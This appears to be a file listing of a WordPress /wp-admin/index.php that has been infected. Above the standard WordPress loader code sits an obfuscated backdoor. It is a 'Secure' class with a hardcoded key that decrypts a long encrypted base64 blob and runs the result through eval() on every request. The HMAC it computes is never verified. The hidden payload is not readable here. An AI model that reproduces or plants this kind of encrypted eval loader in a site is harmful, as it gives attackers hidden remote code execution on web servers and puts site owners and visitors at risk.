Current File : /home/resuelf/www/wp-admin/index.php |
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
eval($decrypted);
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';